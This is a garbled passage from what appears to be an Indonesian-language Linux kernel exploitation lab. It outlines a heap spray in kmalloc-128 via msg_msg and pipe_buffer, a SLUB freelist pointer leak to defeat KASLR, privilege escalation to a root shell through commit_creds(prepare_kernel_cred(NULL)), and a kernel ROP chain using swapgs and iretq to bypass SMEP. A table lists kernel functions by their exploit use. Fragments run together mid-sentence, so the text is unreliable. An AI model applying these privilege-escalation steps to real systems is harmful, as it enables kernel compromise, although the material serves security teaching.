0xDEADBEEF di offset yang sesuai dengan vuln_obj.valueslabtop atau /proc/slabinfo untuk memantau objek di kmalloc-128 sebelum dan sesudah spray.
Tujuan: Bocorkan freelist pointer SLUB untuk mendapatkan kernel address → hitung KASLR slide.
nokaslr terlebih dahulu untuk baselines->random ^ swab(slot_addr) untuk decodeTujuan: Eksekusi escalate_privs() di kernel context untuk mendapatkan root shell.
commit_creds dan prepare_kernel_cred dari kallsymsfake_vuln_obj yang mengandung pointer ke escalate_privsgetuid() == 0 setelah return/bin/sh -inosmap nosmep ke boot args. Untuk bypass SMEP, kamu perlu kROP chain (lihat LAB-05).
Tujuan: Bypass SMEP menggunakan kernel ROP chain — tanpa menonaktifkan SMEP.
ROPgadget --binary vmlinux untuk cari gadgetpop rdi ; ret → push NULL ke RDIprepare_kernel_credmov rdi, rax ; retcommit_credsswapgs ; retiretq kembali ke userspacecallback = pointer ke awal ROP chain| FUNGSI/MACRO | HEADER | KEGUNAAN EXPLOIT |
|---|---|---|
kmalloc(size, GFP_KERNEL) | linux/slab.h | Alokasi slab object |
kzalloc(size, GFP_KERNEL) | linux/slab.h | Alokasi + zero-init |
kfree(ptr) | linux/slab.h | Deallokasi (jangan lupa NULL-kan ptr!) |
kmem_cache_alloc(cache, flags) | linux/slab.h | Alloc dari cache spesifik |
prepare_kernel_cred(NULL) | linux/cred.h | Buat root credential |
commit_creds(cred) | linux/cred.h | Terapkan credential ke task saat ini |
msgget/msgsnd/msgrcv | sys/msg.h | Spray via msg_msg |
pipe() | unistd.h | Spray pipe_buffer |